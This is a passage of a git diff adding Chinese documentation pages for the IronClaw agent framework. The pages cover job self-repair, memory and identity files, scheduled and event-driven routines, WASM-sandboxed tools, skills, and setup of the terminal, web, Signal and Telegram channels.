↓ yes + Transition: InProgress → Stuck + ↓ + Log failure to tool_failures table + ↓ + Attempt recovery +``` + +`tool_failures` 表会按任务和工具累计失败记录。这些数据用于判断是否还值得继续尝试恢复,还是应直接将任务标记为 **Failed**。 + +--- + +## 恢复流程 + +一旦发现卡住任务,自修复系统就会尝试重启它: + + + + 任务状态会从 InProgress 变为 Stuck。系统会记录失败原因和时间戳。 + + + + 系统会查询该任务在 `tool_failures` 表中的记录。如果已超过最大重试次数,就会直接进入 **Failed**,跳过恢复。 + + + + 如果还有重试次数,任务会重新回到 InProgress。新的 worker 会接手,并从上一次保存的检查点继续执行。 + + + + 如果任务成功完成,失败记录会被清除;如果再次卡住,就会重复这一循环,直到达到重试上限并永久失败。 + + + +--- + +### 状态图 + +``` +InProgress + ↓ (检测到超时) + Stuck ──────────────────────► Failed (达到重试上限) + ↓ (仍可重试) +InProgress + ↓ +Completed (或再次回到 Stuck) +``` + +--- + +## 工具失败追踪 + +每当任务执行过程中某个工具失败时,系统都会记录对应事件: + +| 字段 | 描述 | +|------|------| +| `job_id` | 发生失败的任务 | +| `tool_name` | 失败的工具名称 | +| `error` | 错误消息或失败原因 | +| `occurred_at` | 失败发生的时间戳 | + +这些历史记录会在重试时提供给 worker,帮助它避免重复执行同一个失败的工具调用,或者改用其他方案。 + +--- + +## 可观测性 + +卡住与恢复的任务可以在以下位置看到: + +- **任务历史**:Web 网关中的任务列表会展示带时间戳的状态流转 +- **日志**:设置 `RUST_LOG=ironclaw::agent::self_repair=debug` 查看详细修复事件 +- **`list_jobs` 工具**:可查看当前状态,包括 Stuck 任务 + +## 故障排查 + + + + - 查看 `RUST_LOG=ironclaw::agent::self_repair=debug` 以确认失败原因 + - 通过 `job_status` 工具检查工具失败记录 + - 如果任务本身执行时间确实较长,可考虑增大 `SELF_REPAIR_TIMEOUT_SECS` + - 检查到 LLM 提供商和外部服务的网络连通性 + + + + - 工具失败历史可能会暴露持续失败的特定工具 + - 检查该工具依赖的外部服务是否可用 + - 如果任务运行在容器中,请检查沙箱日志(`SANDBOX_ENABLED=true`) + + + + - 确认 `SELF_REPAIR_ENABLED=true` + - 检查 `SELF_REPAIR_TIMEOUT_SECS` 是否设置过高 + - 确认自修复监控器确实在运行,可在启动日志中搜索 `self_repair` + + \ No newline at end of file diff --git a/docs/zh/capabilities/memory/identity.mdx b/docs/zh/capabilities/memory/identity.mdx new file mode 100644 index 0000000000..324ca9577a --- /dev/null +++ b/docs/zh/capabilities/memory/identity.mdx @@ -0,0 +1,62 @@ +--- +title: 身份文件 +sidebarTitle: 身份文件 +description: 自动注入到系统提示词中的持久身份定义 +--- + +身份文件是特殊的记忆文档。每一轮对话开始时,IronClaw 会自动把它们注入到系统提示词中,从而让代理在跨会话、重启后仍保持一致行为与风格。 + +--- + +## 四个身份文件 + +| 文件 | 作用 | +|------|------| +| `AGENTS.md` | 行为规则与执行约束 | +| `SOUL.md` | 价值观、性格与决策原则 | +| `USER.md` | 你的偏好、上下文与工作方式 | +| `IDENTITY.md` | 角色定义与整体身份设定 | + +这些文件位于工作区根目录。你可以手动编辑,也可以让代理通过 `memory_write` 写入。 + +--- + +## AGENTS.md + +用于约束代理“该做什么/不该做什么”,例如沟通风格、工具使用规范、安全策略。 + +--- + +## SOUL.md + +用于定义代理风格与价值取向,例如准确性优先、透明表达、安全优先、尊重用户决策。 + +--- + +## USER.md + +用于描述你的个人信息与偏好,让代理长期记住你的工作上下文,减少重复澄清。 + +--- + +## IDENTITY.md + +用于定义该工作区内代理扮演的角色,比如“嵌入式开发助手”“安全审计助手”等。 + +--- + +## 注入顺序 + +每次 LLM 调用会按如下顺序构造提示词: + +``` +[AGENTS.md] +[SOUL.md] +[USER.md] +[IDENTITY.md] +[Skill injections] +[Conversation history] +[Current message] +``` + +缺失的文件会被自动跳过,不需要一次性准备全部四个文件。 diff --git a/docs/zh/capabilities/memory/memory.mdx b/docs/zh/capabilities/memory/memory.mdx new file mode 100644 index 0000000000..0bdf5f2b58 --- /dev/null +++ b/docs/zh/capabilities/memory/memory.mdx @@ -0,0 +1,53 @@ +--- +title: 持久化记忆 +description: 代理可长期保存与检索的记忆系统 +--- + +LLM 上下文窗口是临时的,会话结束后内容会消失;记忆系统是持久的,写入后可在后续任意会话中检索。 + +因此代理应主动写入与检索: + +- 回答历史问题前先搜索记忆 +- 完成任务后把结论写入记忆 + + +当问题涉及过往工作、历史决策或已存信息时,建议先调用 `memory_search`。 + + +--- + +## 工作区结构 + +记忆路径采用类似文件系统的层级: + +| 示例路径 | 用途 | +|----------|------| +| `context/vision.md` | 项目目标与方向 | +| `context/architecture.md` | 架构与设计决策 | +| `daily/2024-01-15.md` | 每日记录 | +| `daily/standup.md` | 每日 standup 草稿 | +| `projects/ironclaw/notes.md` | 项目笔记 | +| `inbox/task-20240115.md` | 待处理输入 | +| `processed/task-20240115.md` | 已处理归档 | +| `ops/incidents/2024-01-15.md` | 运维事故记录 | +| `AGENTS.md` | 代理行为规则 | +| `SOUL.md` | 代理价值观与风格 | + +路径可以按你的工作流自由设计;`memory_tree` 可查看完整树结构。 + +--- + +## 四个记忆工具 + +| 工具 | 说明 | +|------|------| +| `memory_search` | 混合全文+向量检索,返回排序结果 | +| `memory_write` | 写入文档到指定路径(可创建/覆盖) | +| `memory_read` | 按精确路径读取文档 | +| `memory_tree` | 列出当前工作区记忆路径树 | + +--- + +## 向量检索 + +你可以将记忆持久化为向量索引,以获得更快的语义检索体验,特别适用于文档量较大的工作区。 diff --git a/docs/zh/capabilities/overview.mdx b/docs/zh/capabilities/overview.mdx new file mode 100644 index 0000000000..aad722f833 --- /dev/null +++ b/docs/zh/capabilities/overview.mdx @@ -0,0 +1,33 @@ +--- +title: Capabilities Overview +sidebarTitle: Overview +description: 了解 IronClaw 的独特能力 +--- + +IronClaw 将长期记忆、事件驱动自动化、并行执行与严格隔离控制结合在一起,让智能体能够安全地运行真实工作流。 + + + + 通过纵深防御保护提示安全、沙箱执行、泄漏检测与网络边界。 + + + + 提供可持久化、可搜索的记忆,并通过身份文件在多次会话之间保留行为与上下文。 + + + + 支持定时、heartbeat 与响应式执行模型,适用于主动式和事件驱动自动化。 + + + + 通过状态流转、重试与卡住恢复机制实现并行任务编排。 + + + + 基于上下文激活的提示扩展,支持评分、门控与基于信任的工具削弱。 + + + + 基于 Wasm 的工具隔离,提供显式能力声明、资源限制与受控 I/O。 + + \ No newline at end of file diff --git a/docs/zh/capabilities/routines/cron.mdx b/docs/zh/capabilities/routines/cron.mdx new file mode 100644 index 0000000000..eba3e73230 --- /dev/null +++ b/docs/zh/capabilities/routines/cron.mdx @@ -0,0 +1,46 @@ +--- +title: Cron 例程 +description: 使用 cron 表达式调度周期性任务 +--- + +Cron 例程按固定时间计划触发,适合日报、周清理、小时巡检等可预测任务。 + +--- + +## 创建 Cron 例程 + +直接告诉代理你的触发计划和动作,代理会代你调用 `routine_create`。 + +```text +Create a routine that runs every weekday at 9am and summarizes +what I worked on yesterday by reading my daily notes, then +writes a standup draft to memory at daily/standup.md. +``` + +--- + +## 执行模型 + +当 cron 触发后: + +1. 例程引擎创建一个新任务(job) +2. 任务走完整代理循环:LLM 推理、工具调用、安全层 +3. 输出写入记忆,或发送到通知频道(若配置) +4. 运行记录写入历史,可用 `routine_history` 查看 + +例程任务与普通任务共享并发上限 `MAX_PARALLEL_JOBS`,超限时进入 Pending 队列。 + +--- + +## 配置 + +```bash +# 启用例程 +ROUTINES_ENABLED=true + +# Cron 检查间隔(秒) +ROUTINES_CRON_INTERVAL=60 + +# 例程最大并发 +ROUTINES_MAX_CONCURRENT=3 +``` diff --git a/docs/zh/capabilities/routines/heartbeat.mdx b/docs/zh/capabilities/routines/heartbeat.mdx new file mode 100644 index 0000000000..247d14b966 --- /dev/null +++ b/docs/zh/capabilities/routines/heartbeat.mdx @@ -0,0 +1,102 @@ +--- +title: 心跳系统 +sidebarTitle: 心跳 +description: 周期性检查与自动执行 +--- + +心跳系统让 IronClaw 在对话间隙也能主动执行任务。默认每 30 分钟读取工作区根目录的 `HEARTBEAT.md`,按清单执行。 + + +你可以自定义心跳检查频率。 + + +--- + +## 心跳会做什么 + +每次心跳触发时: + +1. 读取 `HEARTBEAT.md` +2. 作为任务执行清单项 +3. 若有结果或发现,发送到已配置通知频道 +4. 将运行写入 `heartbeat_state` 表 + +如果 `HEARTBEAT.md` 不存在或为空,本次触发不执行任何动作。 + +--- + +## HEARTBEAT.md 格式 + +建议使用 checklist: + +```markdown +# Heartbeat Checklist + +## Daily Tasks +- [ ] Check memory at daily/ for yesterday's notes. If missing, remind the user. +- [ ] Search memory for any items tagged as "follow-up" or "urgent" and list them. +- [ ] Read ops/stuck-jobs.md if it exists and summarize any unresolved incidents. + +## Weekly Tasks (run only on Mondays) +- [ ] Summarize the week's daily notes into a weekly summary at weekly/.md +- [ ] Check for any routines that haven't run in the past 7 days and flag them. + +## Always +- [ ] If any of the above produce findings, write a summary to memory at heartbeat/latest.md +- [ ] Only notify the user if there are actionable items — do not send empty pings. +``` + +条件语句(例如“仅周一执行”)由 LLM 结合当前日期解释。 + +--- + +## 通知行为 + +只有存在可行动信息时才发送通知;无结果时保持安静。可将摘要写入 `heartbeat/latest.md` 以便后续检索。 + +--- + +## 配置 + +```bash +# 启用心跳(默认 true) +HEARTBEAT_ENABLED=true + +# 触发间隔(秒,默认 1800) +HEARTBEAT_INTERVAL_SECS=1800 + +# 通知频道 +HEARTBEAT_NOTIFY_CHANNEL=tui # tui, web, telegram, webhook + +# 通知用户 ID +HEARTBEAT_NOTIFY_USER=default +``` + + +如果频率过高导致 token 或 API 配额压力,建议将 `HEARTBEAT_INTERVAL_SECS` 调高到 3600 及以上。 + + +--- + +## 常见问题 + + + + - 确认 `HEARTBEAT_ENABLED=true` + - 检查启动日志是否包含 heartbeat 启动信息 + - 检查 `HEARTBEAT_INTERVAL_SECS` 是否合理 + - 确认根目录存在 `HEARTBEAT.md` + + + + - 在 HEARTBEAT.md 中增加“仅有可执行项才通知” + - 提高 `HEARTBEAT_INTERVAL_SECS` + - 让清单更具体,减少噪声输出 + + + + - 精简 HEARTBEAT.md 清单项 + - 提高触发间隔 + - 明确限制:例如“每次最多 5 次工具调用” + + diff --git a/docs/zh/capabilities/routines/reactive.mdx b/docs/zh/capabilities/routines/reactive.mdx new file mode 100644 index 0000000000..cca4bab503 --- /dev/null +++ b/docs/zh/capabilities/routines/reactive.mdx @@ -0,0 +1,110 @@ +--- +title: 响应式例程 +description: 基于事件与 webhook 的自动化 +--- + +响应式例程按事件触发,而非固定时间。适合“有事发生就执行”的场景,例如文件更新、Webhook 回调、内部事件触发。 + +--- + +## 触发类型 + +### 事件触发 + +可监听的内部事件包括: + +| 事件 | 触发时机 | +|------|----------| +| `job.completed` | 任意任务成功完成 | +| `job.failed` | 任意任务进入失败状态 | +| `memory.write` | 记忆文档创建或更新 | +| `routine.run` | 其他例程完成一次运行 | +| `heartbeat` | 心跳系统触发 | + +可加过滤条件,例如仅监听 `inbox/` 下写入: + +```json +{ + "trigger": { + "type": "event", + "event": "memory.write", + "filter": { + "path_prefix": "inbox/" + } + } +} +``` + +### Webhook 触发 + +可暴露 HTTP 端点,收到请求即触发: + +```json +{ + "trigger": { + "type": "webhook", + "path": "/hooks/deploy-complete", + "secret": "${DEPLOY_WEBHOOK_SECRET}" + } +} +``` + +端点格式: + +```text +POST https:///hooks/ +Authorization: Bearer +``` + + +Webhook 触发配置暂未完整暴露在 Web UI,可先通过 `routine_create` 或聊天命令创建。 + + +--- + +## Guardrails(护栏) + +护栏用于限制单次运行资源,响应式例程尤其需要护栏,因为触发频率可能不可控。 + +```json +{ + "guardrails": { + "max_tokens": 8000, + "max_tool_calls": 20, + "allowed_tools": ["memory_write", "memory_read", "memory_search"], + "timeout_secs": 120, + "rate_limit": { + "max_runs": 10, + "window_secs": 3600 + } + } +} +``` + +| 护栏项 | 说明 | +|--------|------| +| `max_tokens` | 累计 token 超限即停止 | +| `max_tool_calls` | 工具调用次数上限 | +| `allowed_tools` | 工具白名单(空表示不限) | +| `timeout_secs` | 运行超时硬终止 | +| `rate_limit.max_runs` | 时间窗口内最大运行次数 | +| `rate_limit.window_secs` | 限流窗口(秒) | + + +Webhook 触发例程务必设置 `rate_limit`,否则外部服务误配置会导致无限触发。 + + +--- + +## 执行上下文 + +响应式任务会收到触发事件上下文: + +- Webhook 触发:包含请求体 +- 事件触发:包含事件载荷(如任务 ID、记忆路径) + +动作提示可直接引用: + +```text +action: "A job just completed: ${event.job_id}. Get the status and write a summary." +``` diff --git a/docs/zh/capabilities/sandboxed-tools.mdx b/docs/zh/capabilities/sandboxed-tools.mdx new file mode 100644 index 0000000000..bec7c38fe8 --- /dev/null +++ b/docs/zh/capabilities/sandboxed-tools.mdx @@ -0,0 +1,167 @@ +--- +title: WASM 工具 +sidebarTitle: 沙箱工具 +description: 通过 WebAssembly(wasmtime)在沙箱中执行工具 +--- + +WASM 工具运行在 [wasmtime](https://wasmtime.dev/) 沙箱中。除 IronClaw 暴露的宿主函数外,网络、文件系统、凭据等能力都必须在 `capabilities.json` 中显式声明。 + +对于需要强隔离的自定义集成,这是 IronClaw 推荐方案。 + +--- + +## 工作流程 + +``` +LLM 选择工具 + ↓ +IronClaw 加载 WASM 模块(缓存或磁盘) + ↓ +模块在 wasmtime 沙箱执行 + ↓ +网络请求经由代理 + ↓ +代理校验域名白名单 + ↓ +代理从加密存储注入凭据 + ↓ +响应返回模块 + ↓ +输出经 Safety Layer 清洗 + ↓ +LLM 接收结果 +``` + +--- + +## 沙箱机制 + +### Fuel 计量 + +每条 WASM 指令都会消耗 fuel,耗尽即终止,防止死循环。 + +```bash +# 默认 100,000,000 +export WASM_FUEL_LIMIT=100000000 +``` + +### 内存限制 + +模块使用固定线性内存,超限会 trap 并终止。 + +```bash +# 默认 16 MB +export WASM_MEMORY_LIMIT=16777216 +``` + +### 速率限制 + +每个工具可配置独立限流: + +```json +{ + "rate_limit": { + "requests_per_minute": 60, + "requests_per_day": 1000 + } +} +``` + +--- + +## capabilities.json + +每个 WASM 工具都需与 `.wasm` 放在同目录,并包含 `capabilities.json`: + +```json +{ + "name": "my-tool", + "version": "0.1.0", + "description": "Fetches data from example.com API", + "network": { + "allowed_hosts": ["api.example.com", "auth.example.com"] + }, + "filesystem": { + "read": ["/workspace/data/*"], + "write": ["/workspace/output/*"] + }, + "credentials": [ + { + "name": "example_api_key", + "inject_as": "Authorization", + "format": "Bearer {value}" + } + ], + "rate_limit": { + "requests_per_minute": 30, + "requests_per_day": 500 + } +} +``` + +### 网络白名单 + +`network.allowed_hosts` 决定允许访问的域名。未命中白名单的请求会在建立连接前被拒绝。 + +### 文件系统访问 + +默认无主机文件系统权限,`filesystem.read`/`filesystem.write` 声明的路径才会挂载进沙箱。 + +### 凭据注入 + +凭据不会进入 WASM 内存。模块发出请求后,由代理在转发时注入 Header。 + +--- + +## 宿主函数 + +| 函数 | 说明 | +|------|------| +| `log(level, message)` | 写结构化日志 | +| `now_unix_secs()` | 返回当前 Unix 时间戳 | +| `workspace_read(path)` | 读取工作区文档 | +| `workspace_write(path, content)` | 写入工作区文档 | + +--- + +## 工具发现与安装 + +启动时从以下目录发现工具: + +- `~/.ironclaw/tools/` +- `/tools/` + +每个工具目录至少包含: + +- `.wasm` +- `capabilities.json` + +安装示例: + +```bash +ironclaw tool install ./my-tool.wasm +ironclaw tool install https://example.com/tools/my-tool.wasm +ironclaw tool list +``` + +--- + +## 安全说明 + + +安装来自不可信来源的 WASM 工具前,请先审阅 `capabilities.json`。 + + + + + 凭据仅由代理注入到出站请求,模块无法直接读取密钥存储。 + + + + 模块不能执行 shell、fork 子进程或加载动态库。 + + + + 无限循环会在 fuel 用尽时被强制终止。 + + diff --git a/docs/zh/capabilities/skills.mdx b/docs/zh/capabilities/skills.mdx new file mode 100644 index 0000000000..649dabf85c --- /dev/null +++ b/docs/zh/capabilities/skills.mdx @@ -0,0 +1,82 @@ +--- +title: Skills(技能) +description: 基于上下文自动激活的提示扩展 +--- + +Skill 是包含领域指令的 Markdown 文件。激活后,其内容会注入到 LLM 上下文中,让代理在特定场景下具备稳定、可复用的专业能力。 + + +IronClaw 支持从 ClawHub 社区注册表搜索和安装技能。 + + +--- + +## Skill 能做什么 + +一个 Skill 通常定义四件事: + +- 何时激活:关键词、标签、正则等匹配规则 +- 注入内容:指令、示例、领域知识 +- 依赖约束:所需二进制、环境变量、配置 +- 预算限制:单次激活可消耗的 token 上限 + +每轮对话都会评估技能,选出相关且预算内的技能注入后再进行推理。 + +--- + +## 激活流程 + + + + 先检查前置条件:PATH 中是否有要求的二进制、环境变量是否存在、配置是否齐全。未通过门控的技能直接跳过。 + + + + 对通过门控的技能按关键词、标签、正则命中进行确定性打分。 + + + + 按分数从高到低选择技能,直到耗尽 `SKILLS_MAX_TOKENS`。 + + + + 按信任级别施加工具上限:安装技能默认降级为只读工具;受信任技能保留完整能力。 + + + +--- + +## 信任级别 + +| 级别 | 来源 | 工具权限 | +|------|------|----------| +| Trusted | `~/.ironclaw/skills/` 或工作区 `skills/` | 与代理一致的完整权限 | +| Installed | 通过 `skill_install` 从 ClawHub 安装 | 只读工具(无 shell、无文件写入、无 HTTP) | + + +不要把未经审查的 Skill 放到受信任目录。受信任 Skill 与你拥有相同级别的执行能力。 + + +--- + +## 技能目录 + +| 目录 | 信任级别 | 说明 | +|------|----------|------| +| `~/.ironclaw/skills/` | Trusted | 全局技能,所有会话可用 | +| `/skills/` | Trusted | 工作区技能,仅当前仓库生效 | +| `~/.ironclaw/installed_skills/` | Installed | 从 ClawHub 安装的技能 | + +--- + +## 自动发现 + +当 `SKILLS_AUTO_DISCOVER=true`(默认)时,启动阶段会扫描所有技能目录并索引合法的 SKILL.md。运行中新增技能一般在下次重启后生效。 + +```bash +# 自动发现(默认 true) +SKILLS_AUTO_DISCOVER=true + +# 每轮技能注入总预算 +SKILLS_MAX_TOKENS=4000 +``` diff --git a/docs/zh/channels/local.md b/docs/zh/channels/local.md new file mode 100644 index 0000000000..a19e9502cb --- /dev/null +++ b/docs/zh/channels/local.md @@ -0,0 +1,126 @@ +--- +title: "本地" +description: "通过终端或浏览器在本地使用 IronClaw" +icon: keyboard +--- + +默认情况下,IronClaw 提供两种本地界面与智能体对话: + +- **终端界面 (TUI):** 直接在终端中对话 +- **Web 网关:** 通过本地 HTTP 服务器在浏览器中对话 + + +如果您还没有设置智能体,请先查看我们的[快速开始指南](../quickstart) + + +--- + +## 终端界面 + +只需运行 `ironclaw`,TUI 将在终端中启动。使用以下快捷键进行导航和对话。 +| 按键 | 操作 | +|-----|--------| +| `Enter` | 发送消息 | +| `Shift+Enter` | 在编辑器中换行 | +| `Ctrl+C` | 退出 | +| `Ctrl+L` | 清屏 | +| `Tab` | 聚焦下一个元素 | +| `Esc` | 取消或返回 | +| `Up/Down` | 滚动历史记录 | + +### 配置 + +| 选项 | 默认值 | 描述 | +|--------|---------|-------------| +| `CLI_ENABLED` | `true` | 启用或禁用终端界面 | + + +--- + +## Web 网关 + +| 选项 | 默认值 | 描述 | +|--------|---------|-------------| +| `GATEWAY_HOST` | `127.0.0.1` | Web 网关的主机接口 | +| `GATEWAY_PORT` | `3000` | Web 网关使用的端口 | +| `GATEWAY_ENABLED` | `true` | 启用或禁用 Web 网关 | +| `GATEWAY_AUTH_TOKEN` | 自动生成 | 打开 Web UI 所需的认证令牌 | + +### 认证 + +默认情况下,IronClaw 在启动时生成认证令牌并在日志中打印。要在重启间使用固定令牌: + +```bash +export GATEWAY_AUTH_TOKEN="your-secure-token-here" +``` + +生成令牌: + +```bash +openssl rand -hex 32 +``` + +### API 端点 + +Web 网关还暴露本地端点: + +| 端点 | 描述 | +|----------|-------------| +| `GET /api/status` | 服务器状态 | +| `POST /api/chat` | 发送消息 | +| `GET /api/jobs` | 列出任务 | +| `GET /api/memory` | 搜索记忆 | + +### 网络访问 + +使用仅本地访问(推荐): + +```bash +export GATEWAY_HOST=127.0.0.1 +``` + +使用局域网访问: + +```bash +export GATEWAY_HOST=0.0.0.0 +``` + + +使用 `0.0.0.0` 时,请使用强认证令牌,并在将服务暴露到本地网络之外之前,将其置于 HTTPS/反向代理后面。 + + +--- + +## 故障排除 + + + + - 确保您的终端支持 Unicode 和 256 色 + - 设置 `TERM=xterm-256color` + - 重启终端会话 + + + + - 检查终端焦点 + - 运行 `reset` + - 禁用冲突的终端鼠标模式 + + + + - 确认 `ironclaw run` 正在运行 + - 检查 `GATEWAY_PORT` 值 + - 确认主机和防火墙设置 + + + + - 从启动日志中精确复制令牌 + - 移除尾部空格 + - 设置持久的 `GATEWAY_AUTH_TOKEN` + + + + - 检查本地网络/代理稳定性 + - 确认反向代理支持 WebSocket 升级 + - 检查浏览器控制台日志 + + diff --git a/docs/zh/channels/overview.mdx b/docs/zh/channels/overview.mdx new file mode 100644 index 0000000000..bfb59f325f --- /dev/null +++ b/docs/zh/channels/overview.mdx @@ -0,0 +1,28 @@ +--- +title: "Overview" +description: "设置消息渠道以与您的智能体交互" +--- + +频道定义了用户如何向您的智能体发送消息。开发阶段可以先从本地使用开始,之后再根据集成需求添加消息应用或 Webhook。 + + + 配置隧道,让基于 Webhook 的频道能够接收传入请求。 + + + + + 内置终端界面与 Web 网关,适合本地使用和测试。 + + + + 在 Telegram 私聊和群聊中与您的智能体对话。 + + + + 通过 signal-cli HTTP 守护进程将 IronClaw 接入 Signal。 + + + + 通过 REST 端点接收外部系统发送的消息。 + + \ No newline at end of file diff --git a/docs/zh/channels/signal.mdx b/docs/zh/channels/signal.mdx new file mode 100644 index 0000000000..9b3e685377 --- /dev/null +++ b/docs/zh/channels/signal.mdx @@ -0,0 +1,40 @@ +--- +title: "Signal" +description: "通过 Signal 与智能体交互" +icon: "message" +--- + +将 IronClaw 连接到 Signal,这样您就可以在私信中与智能体对话。 + + +如果您还没有设置智能体,请先查看我们的[快速开始指南](../quickstart) + + + +Signal 频道文档即将完善。该频道已经完整实现,目前正在补充完整的配置步骤与详细说明。 + + + +--- + +## 设置 Signal 频道 + +Signal 频道将 IronClaw 连接到运行中的 [signal-cli](https://github.com/AsamK/signal-cli) HTTP 守护进程。在配置 IronClaw 之前,请先在您的机器上以守护进程模式启动 signal-cli。 + +--- + +## 配置选项 + +通过环境变量配置 Signal 频道: + +| 变量 | 描述 | +|----------|-------------| +| `SIGNAL_HTTP_URL` | signal-cli HTTP 守护进程的 URL | +| `SIGNAL_ACCOUNT` | 您的 Signal 手机号(例如 `+1234567890`) | +| `SIGNAL_ALLOW_FROM` | 允许向机器人发消息的手机号,以逗号分隔 | + +```bash +export SIGNAL_HTTP_URL=http://127.0.0.1:8080 +export SIGNAL_ACCOUNT=+1234567890 +export SIGNAL_ALLOW_FROM=+0987654321,+11234567890 +``` diff --git a/docs/zh/channels/telegram.md b/docs/zh/channels/telegram.md new file mode 100644 index 0000000000..55c51f100b --- /dev/null +++ b/docs/zh/channels/telegram.md @@ -0,0 +1,334 @@ +--- +title: "Telegram" +description: "通过 Telegram 与智能体交互" +icon: telegram +--- + +您可以创建 Telegram 机器人并将 IronClaw 智能体连接到它。配置完成后,您可以在私信中与智能体对话,也可以将其添加到群聊中参与讨论。 + + +如果您还没有设置智能体,请先查看我们的[快速开始指南](../quickstart) + + +--- + +## 设置 Telegram 频道 + + + + + +要创建新的 Telegram 机器人,您需要与 [BotFather](https://t.me/botfather) 对话,这是帮助您创建和管理机器人的官方 Telegram 机器人。 + + + + 在 Telegram 应用中搜索"BotFather"并开始对话。您也可以使用此链接:[https://t.me/botfather](https://t.me/botfather) + + + 向 BotFather 发送 `/newbot` 命令,然后按照说明创建新机器人。您需要为机器人选择一个名称和用户名。用户名必须以"bot"结尾,例如"my_agent_bot"。 + + + 创建机器人后,BotFather 会给您一个类似这样的令牌:`123456789:ABCdefGhIJKlmNoPQRsTUVwxyZ`。此令牌用于认证您的机器人并允许其访问 Telegram API。请妥善保管此令牌,不要与任何人分享。稍后您将需要它来在 IronClaw 中配置 Telegram 频道。 + + + + + + + 使用 `--channels-only` 标志调用 IronClaw CLI 引导向导,仅配置频道而无需再次执行整个引导过程: + + ``` + ironclaw onboard --channels-only + ``` + + + + 如果您尚未设置`隧道`,向导会要求您选择隧道提供商并进行设置。我们推荐使用 [ngrok](https://dashboard.ngrok.com/),因为它易于使用且可靠。 + + ![ngrok setup](/images/channels/tunnel.png) + + + 从可用频道列表中选择 Telegram 频道进行安装。 + ![select channel](/images/channels/telegram-channel.png) + + + 输入您在上一步中从 BotFather 获取的机器人令牌。 + + + + + + 配置完 Telegram 频道后,是时候测试一下了。如果智能体尚未运行,请先启动 `ironclaw`: + + ``` + ironclaw + ``` + + 在 Telegram 中向您的机器人发送一条消息。它会回复一个命令,您需要在终端中执行该命令以完成频道设置: + + ``` + ironclaw pairing approve telegram + ``` + + + + +--- + +## Telegram 端设置 + + +Telegram 机器人默认启用隐私模式,这限制了它们接收的群组消息。如果机器人必须查看所有群组消息,可以: + + - 通过 `/setprivacy` 禁用隐私模式,或 + - 将机器人设为群组管理员。 + +切换隐私模式后,在每个群组中移除并重新添加机器人,以便 Telegram 应用更改。 + + + 管理员状态在 Telegram 群组设置中控制。管理员机器人可接收所有群组消息,适用于需要始终在线的群组行为。 + + + - `/setjoingroups` 允许/禁止加入群组 + - `/setprivacy` 设置群组可见性行为 + + + +--- + +## 配置选项 + +您可以通过 `.ironclaw/channels/telegram.capabilities.json` 文件配置 Telegram 频道的行为,该文件在首次设置频道后自动创建。 + + + +| 选项 | 值 | 默认值 | 描述 | +|---------------------------------|--------------------------------|-----------|---------------------------------------------------------------------------------| +| `dm_policy` | `open`, `allowlist`, `pairing` | `pairing` | 控制谁可以向机器人发送私信 | +| `allow_from` | 用户 ID | `[]` | 当 `dm_policy` 设为 `allowlist` 时允许私信机器人的用户 | +| `owner_id` | Telegram 用户 ID | — | 如果设置,只有此用户可以与机器人交互(私信和群组消息) | +| `respond_to_all_group_messages` | 布尔值 | `false` | 回复所有群组消息 | +| `bot_username` | 用户名 | — | 当 `respond_to_all_group_messages` 为 `false` 时用于群组提及检测 | +| `polling_enabled` | 布尔值 | `false` | 使用轮询代替 webhook | +| `poll_interval_ms` | 数字 | `30000` | 轮询间隔(毫秒),仅在 `polling_enabled` 为 `true` 时使用 | + + + + +更改配置文件后请记得重启智能体以使更改生效 + + + +### 私信策略 + +`dm_policy` 选项控制谁可以向机器人发送私信: + +- `open`:任何人都可以无限制地私信机器人 +- `allowlist`:只有 `allow_from` 列表中的用户可以私信机器人 +- `pairing`**(默认)**:机器人会向联系它的任何用户回复一个配对命令,需要在终端中执行 + +相关选项: +- `allow_from` 选项是当 `dm_policy` 设为 `allowlist` 时允许私信机器人的 Telegram 用户 ID 列表 +- `owner_id` 选项将机器人限制为仅回复特定 Telegram 用户 ID 的消息 + + + +**用户 ID** + +向 [@userinfobot](https://t.me/userinfobot) 发消息以获取您的 Telegram 用户 ID。 + + + +### 回复所有群组消息 +默认情况下,Telegram 频道只回复群组中提及机器人的消息。 +如果您希望机器人回复所有群组消息,请设置 `respond_to_all_group_messages` + +相关选项: +- 如果 `respond_to_all_group_messages` 设为 `false`,机器人只回复提及它的消息。 +此时请确保在 `bot_username` 选项中设置机器人的用户名(不带 `@`) + +### 轮询 + +如果您不想配置`隧道`,可以设置 Telegram 频道每隔一定时间轮询新消息。 + +为此,将 `polling_enabled` 选项设为 `true`,并将 `poll_interval_ms` 选项配置为所需的轮询间隔(毫秒),默认为 30000 毫秒(30 秒)。 + +### 配置示例 + +**私人团队助手** — 仅提及触发,私信需配对: +```json +{ + "bot_username": "TeamBot", + "respond_to_all_group_messages": false, + "dm_policy": "pairing" +} +``` + +**全天候专家** — 回复所有消息: +```json +{ + "bot_username": "DevOpsBot", + "respond_to_all_group_messages": true, + "allow_from": ["*"] +} +``` + +**仅限所有者** — 共享群组中的个人助手: +```json +{ + "bot_username": "MyBot", + "respond_to_all_group_messages": false, + "owner_id": "12345678" +} +``` + +--- + +## 群聊参与 + +IronClaw 可以配置为参与 Telegram 群聊。默认情况下,机器人只回复命令(使用 `/help` 查看可用命令列表)。如果您希望机器人回复提及或所有群组消息,需要进行配置。 + +### 将机器人添加到群组 + +1. **在 @BotFather 中启用群组隐私**: + - 向 [@BotFather](https://t.me/BotFather) 发消息 + - 发送 `/mybots` → 选择您的机器人 + - 点击"Bot Settings" → "Group Privacy" + - 关闭"Privacy mode"(允许机器人查看所有消息) + +2. **将机器人添加到群组**: + - 在 Telegram 中打开群组 + - 添加成员 → 搜索您的机器人用户名 + - 授予管理员权限(可选但推荐) + +3. **在 IronClaw 中配置 `bot_username`**: + ```json + { + "bot_username": "MyIronClawBot" + } + ``` + +### 群组触发模式 + +#### 命令和提及 + +当使用命令(如 `/skills`)或提及机器人(如 `@MyIronClawBot 天气怎么样?`)时,机器人会响应。 + +配置: + +- 在 @BotFather 中将"Privacy mode"设为 `OFF`,或将机器人设为群组管理员 +- 配置 `bot_username`: + +```json +{ + "bot_username": "MyIronClawBot", + "respond_to_all_group_messages": false +} +``` + +优点: +- 尊重群组对话流程 +- 不会因未经请求的回复而产生垃圾信息 +- 用户明确选择与智能体交互 + +#### 回复所有消息 + +机器人处理并回复群组中的每条消息。 + +- 在 @BotFather 中将"Privacy mode"设为 OFF,或将机器人设为群组管理员 +- 同时配置 `bot_username` 和 `respond_to_all_group_messages`: + +配置: +```json +{ + "bot_username": "MyIronClawBot", + "respond_to_all_group_messages": true +} +``` + +使用场景: +- 智能体始终提供帮助的小型团队房间 +- 自动审核或摘要 +- 智能体提供专业知识的特定主题群组 + +--- + +## 消息隐私 + + + + - 禁用隐私模式的群组中的所有消息 + - 